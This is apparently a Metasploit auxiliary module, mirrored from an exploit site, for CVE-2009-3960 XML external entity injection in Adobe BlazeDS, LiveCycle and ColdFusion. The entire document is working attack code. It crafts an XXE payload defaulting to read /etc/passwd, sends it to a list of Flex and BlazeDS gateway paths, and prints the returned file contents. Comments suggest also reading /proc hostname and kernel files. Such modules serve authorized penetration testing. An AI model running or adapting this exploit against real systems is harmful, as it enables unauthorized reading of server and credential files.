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## https://sploitus.com/exploit?id=PACKETSTORM:181095
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Adobe XML External Entity Injection',
'Description' => %q{
Multiple Adobe Products -- XML External Entity Injection. Affected Software: BlazeDS 3.2 and
earlier versions, LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1, and
2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2
},
'References' =>
[
[ 'CVE', '2009-3960' ],
[ 'OSVDB', '62292' ],
[ 'BID', '38197' ],
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf' ],
[ 'URL', 'https://www.adobe.com/support/security/bulletins/apsb10-05.html'],
],
'Author' => [ 'CG' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8400),
OptString.new('FILE', [ true, "File to read", '/etc/passwd']),
])
end
def run_host(ip)
path = [
"/flex2gateway/",
"/flex2gateway/http", # ColdFusion 9 (disabled by default), works on some CF 8 though :-)
"/flex2gateway/httpsecure", # ColdFusion 9 (disabled by default) SSL
"/flex2gateway/cfamfpolling",
"/flex2gateway/amf",
"/flex2gateway/amfpolling",
"/messagebroker/http",
"/messagebroker/httpsecure", #SSL
"/blazeds/messagebroker/http", # Blazeds 3.2
"/blazeds/messagebroker/httpsecure", #SSL
"/samples/messagebroker/http", # Blazeds 3.2
"/samples/messagebroker/httpsecure", # Blazeds 3.2 SSL
"/lcds/messagebroker/http", # LCDS
"/lcds/messagebroker/httpsecure", # LCDS -- SSL
"/lcds-samples/messagebroker/http", # LCDS
"/lcds-samples/messagebroker/httpsecure", # LCDS -- SSL
]
postrequest = "<\?xml version=\"1.0\" encoding=\"utf-8\"\?>"
postrequest << "<\!DOCTYPE test [ <\!ENTITY x3 SYSTEM \"#{datastore['FILE']}\"> ]>"
postrequest << "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">"
postrequest << "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>"
postrequest << "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>"
postrequest << "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>"
postrequest << "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>"
postrequest << "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>"
postrequest << "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>"
path.each do | check |
res = send_request_cgi({
'uri' => check,
'method' => 'POST',
'version' => '1.1',
'Content-Type' => 'application/x-amf',
'data' => postrequest
}, 25)
if (res.nil?)
print_error("no response for #{ip}:#{rport} #{check}")
elsif (res.code == 200 and res.body =~ /\<\?xml version\="1.0" encoding="utf-8"\?\>/)
print_status("#{rhost}:#{rport} #{check} #{res.code}\n #{res.body}")
elsif (res and res.code == 302 or res.code == 301)
print_status(" Received 302 to #{res.headers['Location']} for #{check}")
else
print_error("#{res.code} for #{check}")
#''
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
print_error(e.message)
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
print_error(e.message)
end
end
#set FILE /proc/sys/kernel/osrelease
#set FILE /proc/sys/kernel/hostname